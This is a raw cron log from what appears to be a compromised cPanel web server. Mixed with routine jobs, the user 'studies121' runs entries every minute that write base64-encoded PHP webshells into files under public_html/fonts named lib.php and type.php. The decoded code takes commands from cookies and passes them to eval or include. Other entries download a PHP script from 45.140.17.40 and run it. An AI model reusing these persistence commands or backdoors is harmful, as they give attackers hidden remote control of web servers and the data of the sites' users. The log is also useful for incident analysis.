Sep  1 14:39:01 ip-184-168-122-23 CROND[8863]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:39:01 ip-184-168-122-23 CROND[8865]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 14:39:01 ip-184-168-122-23 CROND[8864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:39:01 ip-184-168-122-23 CROND[8867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:40:01 ip-184-168-122-23 CROND[8972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:40:01 ip-184-168-122-23 CROND[8974]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 14:40:01 ip-184-168-122-23 CROND[8976]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 14:40:01 ip-184-168-122-23 CROND[8977]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 14:40:01 ip-184-168-122-23 CROND[8982]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:40:01 ip-184-168-122-23 CROND[8979]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 14:40:01 ip-184-168-122-23 CROND[8980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:40:01 ip-184-168-122-23 CROND[8981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:41:01 ip-184-168-122-23 CROND[9080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:41:01 ip-184-168-122-23 CROND[9081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:41:01 ip-184-168-122-23 CROND[9083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:41:01 ip-184-168-122-23 CROND[9082]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:42:01 ip-184-168-122-23 CROND[9169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:42:02 ip-184-168-122-23 CROND[9171]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:42:02 ip-184-168-122-23 CROND[9175]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 14:42:02 ip-184-168-122-23 CROND[9173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:42:02 ip-184-168-122-23 CROND[9174]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:43:01 ip-184-168-122-23 CROND[9269]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:43:01 ip-184-168-122-23 CROND[9270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:43:01 ip-184-168-122-23 CROND[9272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:43:01 ip-184-168-122-23 CROND[9273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:44:01 ip-184-168-122-23 CROND[9360]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:44:02 ip-184-168-122-23 CROND[9362]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 14:44:02 ip-184-168-122-23 CROND[9363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:44:02 ip-184-168-122-23 CROND[9365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:44:02 ip-184-168-122-23 CROND[9364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:45:01 ip-184-168-122-23 CROND[9532]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:45:01 ip-184-168-122-23 CROND[9536]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 14:45:01 ip-184-168-122-23 CROND[9535]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 14:45:01 ip-184-168-122-23 CROND[9537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:45:01 ip-184-168-122-23 CROND[9534]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:45:01 ip-184-168-122-23 CROND[9538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:46:02 ip-184-168-122-23 CROND[9633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:46:02 ip-184-168-122-23 CROND[9634]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 14:46:02 ip-184-168-122-23 CROND[9636]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:46:02 ip-184-168-122-23 CROND[9637]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 14:46:02 ip-184-168-122-23 CROND[9643]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:46:02 ip-184-168-122-23 CROND[9642]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 14:46:02 ip-184-168-122-23 CROND[9644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:47:01 ip-184-168-122-23 CROND[9765]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:47:01 ip-184-168-122-23 CROND[9767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:47:01 ip-184-168-122-23 CROND[9768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:47:01 ip-184-168-122-23 CROND[9769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:48:01 ip-184-168-122-23 CROND[9844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:48:01 ip-184-168-122-23 CROND[9846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:48:01 ip-184-168-122-23 CROND[9847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:48:01 ip-184-168-122-23 CROND[9849]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:48:01 ip-184-168-122-23 CROND[9848]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 14:49:01 ip-184-168-122-23 CROND[9940]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:49:01 ip-184-168-122-23 CROND[9942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:49:01 ip-184-168-122-23 CROND[9943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:49:01 ip-184-168-122-23 CROND[9944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:50:01 ip-184-168-122-23 CROND[10028]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 14:50:01 ip-184-168-122-23 CROND[10031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:50:01 ip-184-168-122-23 CROND[10030]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 14:50:01 ip-184-168-122-23 CROND[10033]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 14:50:01 ip-184-168-122-23 CROND[10034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:50:01 ip-184-168-122-23 CROND[10035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:50:01 ip-184-168-122-23 CROND[10037]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 14:50:01 ip-184-168-122-23 CROND[10036]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 14:50:01 ip-184-168-122-23 CROND[10044]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:51:01 ip-184-168-122-23 CROND[10238]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:51:01 ip-184-168-122-23 CROND[10241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
